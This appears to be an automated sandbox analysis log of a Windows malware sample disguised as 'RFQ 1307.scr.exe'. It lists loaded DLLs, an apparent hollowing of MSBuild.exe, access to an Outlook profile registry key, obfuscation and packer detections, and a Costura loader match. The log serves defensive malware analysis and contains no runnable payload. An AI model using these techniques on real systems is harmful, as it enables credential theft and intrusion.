Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: RFQ 1307.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RFQ 1307.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004648000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1706854416.000000000379B000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1717291855.0000000006380000.00000004.08000000.00040000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.00000000046C0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: RFQ 1307.scr.exe, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004648000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1706854416.000000000379B000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1717291855.0000000006380000.00000004.08000000.00040000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.00000000046C0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, Bn9HxeU9KAaDCAeVphd.cs

.Net Code: Type.GetTypeFromHandle(foU3t0yeDUkZPFSXNib.WbnDrJJxEB(16777347)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(foU3t0yeDUkZPFSXNib.WbnDrJJxEB(16777252)),Type.GetTypeFromHandle(foU3t0yeDUkZPFSXNib.WbnDrJJxEB(16777284))})

.NET source code contains potential unpacker

Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.RFQ 1307.scr.exe.46c0978.1.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.RFQ 1307.scr.exe.46c0978.1.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.RFQ 1307.scr.exe.46c0978.1.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.RFQ 1307.scr.exe.6f80000.9.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.RFQ 1307.scr.exe.6f80000.9.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.RFQ 1307.scr.exe.6f80000.9.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.RFQ 1307.scr.exe.6f80000.9.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.RFQ 1307.scr.exe.6f80000.9.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.RFQ 1307.scr.exe.6380000.7.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.RFQ 1307.scr.exe.6380000.7.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.RFQ 1307.scr.exe.6380000.7.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.7050000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1706854416.0000000003506000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1719710459.0000000007050000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ 1307.scr.exe PID: 7540, type: MEMORYSTR

Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, EboTW2yn9HsF15pPLS3.cs	High entropy of concatenated method names: 'Sd4yAiq0C2', 'IQqy4XQpBe', 'sjtyXboslp', 'DUmycuY6dy', 'I8qyJLAQfD', 'lK3yZUqs6V', 'BeOyvf8M6C', 'mCMyO2IEOk', 'koGy5AICX9', 'YHxyWPK9TL'
Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, foU3t0yeDUkZPFSXNib.cs	High entropy of concatenated method names: 'WbnDrJJxEB', 'WJZDo08gC9', 'Qsu6dNmKq0luVfSHPnQ', 'R6BhEhmEfMuNXQMCwt3', 'jNSqglmLD3gDqw8HtKQ', 'nprU8amwk2lohvXYreq', 'Orx6YrmYUiuAbeo56Y4', 'OGSdl7m33sF74ovZM6O'
Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, Bn9HxeU9KAaDCAeVphd.cs	High entropy of concatenated method names: 'd07IVsTmOeBtrYBNwia', 'NJ4ubyThGUccgp1Pp8y', 'QRIyyAR05c', 'enIGyaTDMo91rhPsKNg', 'XvXvFLT8bgHGk8ekZwm', 'aWi7RxTlJwMifsGOwU5', 'c1bGUyTA2MZMID5k2HD', 'QTZHfbT41JJjwbY2A5k', 'QCJ6wpTX9VDHdpnsUwj', 'uiS7JITcof1BDRdH4qZ'
Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'B0mUQAT2spYOnhSkF2f'
Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, r3oO1HyzRyeZaRqBVWE.cs	High entropy of concatenated method names: 'IEeYugJ0my', 'Tf0YGZhxr5', 'tkMY0ldyEE', 'cmyYNIypXV', 'vfYYbLi32y', 'hWGYBaQICW', 'eAgYglLsXL', 'zFktQXWopu', 'pxUYfJl4Qp', 'guNYe34cJl'
Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, CHSO0LUwJsHknv4ZCaI.cs	High entropy of concatenated method names: 'ItXU3KCxsX', 'DUYURFDwDG', 'BeAGP2p7I58rlMdXmZa', 'bRb9tlppwpu1p70t6c2', 'Yx8hrhpT8gclSlq8noh', 'lNDqmGpmNeVR9rcvcIj', 'PLL0HJphGgc9dT59s6n', 'RgdbqEpqrOaKLvV80LZ', 'pIpFfHpaJ1YKHmeT7ct'
Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, Wuo4KyPeOojvFBFED2u.cs	High entropy of concatenated method names: 'sWePklGgee', 'Y7oP6eIV5p', 'LbTP9s6Yiu', 'iarPnanQFW', 'F1nP7NZyeR', 'ICF6URnLlc7Nm1cJip7', 'R0gB2pnwa97yrDlohH4', 'g97Xy8nYiSGU4oMxcT3', 'vYEiMDn3d9umwAHdnLX', 'SebMpTnRSnkJvbm9NCa'

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
